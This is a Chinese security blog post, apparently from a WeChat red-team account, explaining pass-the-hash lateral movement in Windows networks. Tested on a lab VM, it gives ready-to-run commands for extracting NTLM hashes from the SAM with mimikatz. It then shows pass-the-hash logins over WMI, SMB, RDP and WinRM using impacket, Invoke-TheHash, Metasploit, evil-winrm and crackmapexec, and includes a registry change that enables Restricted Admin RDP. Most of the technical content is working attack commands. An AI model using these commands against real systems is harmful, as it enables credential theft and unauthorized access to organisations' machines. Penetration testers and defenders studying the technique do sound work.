查看原文
其他

第15篇:内网横向中windows各端口远程登录哈希传递的方法总结

abc123info 网络安全abc123 2022-11-05

 Part1 前言 

随着人们的安全意识的逐步加强,企业内部的Windows服务器口令越来越复杂了,经常会遇到提权到windows服务器,获取了用户的密码hash,但是cmd5官网或者本地猜解都拿不到明文密码的情况。这时候就需要用到内网哈希传递技术了。哈希传递利用了NTLM认证的缺陷,使用用户的密码哈希值来进行NTLM认证。如果目标机器与获取hash值的机器的密码相同,就可以直接使用hash来远程登录Windows主机了。

当前内网环境中的主机为了防范MS17-010等漏洞,也为了阻断哈希传递攻击,很多主机都安装了EDR防护、防火墙策略、杀毒软件等等,把445端口都封禁掉了,导致基于SMB服务的 hash传递没法使用。这个还是有解决办法的,Windows的远程登录方式还有很多种,比如说135端口的WMI服务、3389的RDP服务、5985端口的Winrm服务都是可以用来哈希传递的,下面分情况具体讲解一下。

 Part2 技术研究过程 

  • 虚拟机环境搭建

为了方便演示,本地准备了一台Windows2016的虚拟机,IP地址是192.168.237.209,密码更改为P@ssw0rd

接下来使用mimikatz提取哈希值,得到NTLM哈希是e19ccf75ee54e06b06a5907af13cef42

有的哈希传递工具需要同时填上LMHash:NTHash,如果只获取到了NThash部分,那么LMHash部分可以用32个0替代。

如下所示的使用命令,从本地sam文件中读取密码哈希。推荐使用以下命令,尽量不要从内存中提取,因为内存中存放的可能是管理员修改密码前的哈希值,导致哈希传递不成功。提取哈希值命令如下:
mimikatz.exe "log" "privilege::debug" "token::elevate" "lsadump::sam" "exit"

  • 135端口wmi哈希传递

WMI 全称 Windows Management Instrumentation 即 Windows 管理工具,Windows 98 以后的操作系统都支持 WMI。由于 Windows 默认不会将 WMI 的操作记录在日志里,同时现在越来越多的杀软将 PsExec 加入了黑名单,因此 WMI 比 PsExec 隐蔽性要更好一些。

首先推荐的是 impacket内网渗透套件的wmiexec.exe程序,我从github下载的是windows编译版,使用非常方便。如下所示命令,可以执行命令成功。

wmiexec -hashes 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 Administrator@192.168.237.209

接下来介绍另一款脚本Invoke-TheHash,使用powershell脚本编写的专门用来哈希传递的脚本,同时支持WMI、SMB的哈希传递。

Import-Module ./Invoke-TheHash.psd1

Invoke-WMIExec -Target 192.168.237.209 -Username Administrator -Hash 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 -Command "whoami" -verbose

  • 445端口smb哈希传递

 1   首先推荐的是 impacket内网渗透套件的psexec.exe程序,使用方法如下:

psexec -hashes 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 Administrator@192.168.237.209

 2   使用impacket套件的mmcexec工具:

mmcexec -hashes 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 Administrator@192.168.237.209

 3   使用impacket套件的smbclient工具:

smbclient.exe -hashes 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 Administrator@192.168.237.209

 4   Invoke-TheHash套件

Import-Module ./Invoke-TheHash.psd1

Invoke-SMBExec -Target 192.168.237.209 -Username Administrator -Hash 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 -Command "whoami" -verbose

 5  使用Metasploit中的psexec功能哈希传递:

use exploit/windows/smb/psexec

set RHOST 192.168.237.209

set SMBUser Administrator

set SMBPass 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42

exploit

  • 3389端口rdp哈希传递

3389的哈希传递让我踩了不少坑,因为网上的一些文章写的步骤不太明确,windows低版本如win2003、win2008是不支持的。正确步骤如下:

第一步:在服务端运行如下命令,开启目标主机的Restricted Admin Mode(0代表开启,1代表关闭):

REG ADD "HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 00000000 /f

第二步:攻击机使用mimikatz执行如下命令:

privilege::debug

sekurlsa::pth /user:administrator /domain:. /ntlm:e19ccf75ee54e06b06a5907af13cef42 "/run:mstsc.exe /restrictedadmin"

接下来在弹出的“远程桌面连接”处输入服务端ip地址。

点击“连接”后,不需要输入用户名密码,即可登陆成功。

此外还有一个支持RDP服务哈希传递的工具,是linux系统下的,名叫FreeRDP-pth,使用挺麻烦的,因为编译特别费事,我还是使用mimikatz吧,大家感兴趣可以去编译一下。

  • 5985端口winrm哈希传递

WinRM 是 Windows Remote Managementd(Windows 远程管理)的简称,WinRM HTTP 通过 TCP 端口 5985 进行通信,而 HTTPS(TLS)通过 TCP 端口 5986 进行通信。如果所有的机器都是在域环境下,则可以使用默认的 5985 端口,否则的话则通过 5986 端口使用 HTTPS 传输。使用 WinRM 我们可以在远程主机设置了防火墙的情况下远程管理这台服务器,因为启动 WinRM 服务后,防火墙默认会自动放行 5985 端口。Windows 远程管理服务(WinRM)适用于 Windows Server 2008 和 Windows 7 以后的操作系统并自动与其支持的操作系统一起安装,但是只有在 Windows Server 2008 以上的操作系统 WinRM 服务才会自动启动,其他都需要手动开启。

Winrm哈希传递有几个坑,网上的各种关于winrm的哈希传递工具我都测试过,目前我本地测试成功的仅有evil-winrm及crackmapexec这两款工具可以测试成功,其它的exe版本的、python版本的工具,我本地测试各种问题,暂时不知道原因出在哪里。

第一步,需要安装evil-winrm

gem install evil-winrm

第二步,执行命令如下:

ruby evil-winrm.rb -i 192.168.237.209 -u Administrator -H e19ccf75ee54e06b06a5907af13cef42

第2个工具就是大名鼎鼎的crackmapexec了,新版已经支持winrm哈希传递,kali linux2020中自带的cmp一运行就报错,建议大家自己重装一下。

poetry run crackmapexec winrm 192.168.237.209 -u Administrator -H 00000000000000000000000000000000:e19ccf75ee54e06b06a5907af13cef42 -x whoami


 Part3 总结 

1.  哈希传递工具我只列出了自己平时用着顺手的,大家有更好的工具可以微信后台给我留言。
2.  在内网横向中,经常会遇到各种各样的问题,有的特定环境下,只有一两款工具能用,多收集整理一下很有必要。
3.  将博客搬迁至csdn,后续微信公众号文章会及时同步至csdn博客,敬请关注。

专注于网络安全技术分享,包括红队、蓝队、日常渗透测试、安全体系建设等

每周一篇,99%原创,敬请关注

往期精彩回顾

第14篇:Struts2框架下Log4j2漏洞检测方法分析与总结

第13篇:coldfusion反序列化过waf改exp拿靶标的艰难过程

第12篇:给任意java程序挂Socks5代理方法

第11篇:盲猜包体对上传漏洞的艰难利用过程

第10篇:IIS短文件名猜解在拿权限中的巧用

第9篇:Shiro反序列化数据包解密及蓝队分析工具,提供下载

第8篇:Oracle注入漏洞绕waf的新语句

第7篇:MS12-020蓝屏漏洞在实战中的巧用

第6篇:Weblogic反序列化攻击不依赖日志溯源攻击时间

第5篇:Shiro Padding Oracle无key的艰难实战利用过程

第4篇:jsp型webshell被删情况下如何溯源攻击时间

第3篇:银行Java站SSRF"组合洞"打法造成的严重危害

第2篇:区分Spring与Struts2框架的几种新方法

第1篇:weblogic9.x在JDK1.5下T3反序列化漏洞利用方法

您可能也对以下帖子感兴趣

文章有问题?点此查看未经处理的缓存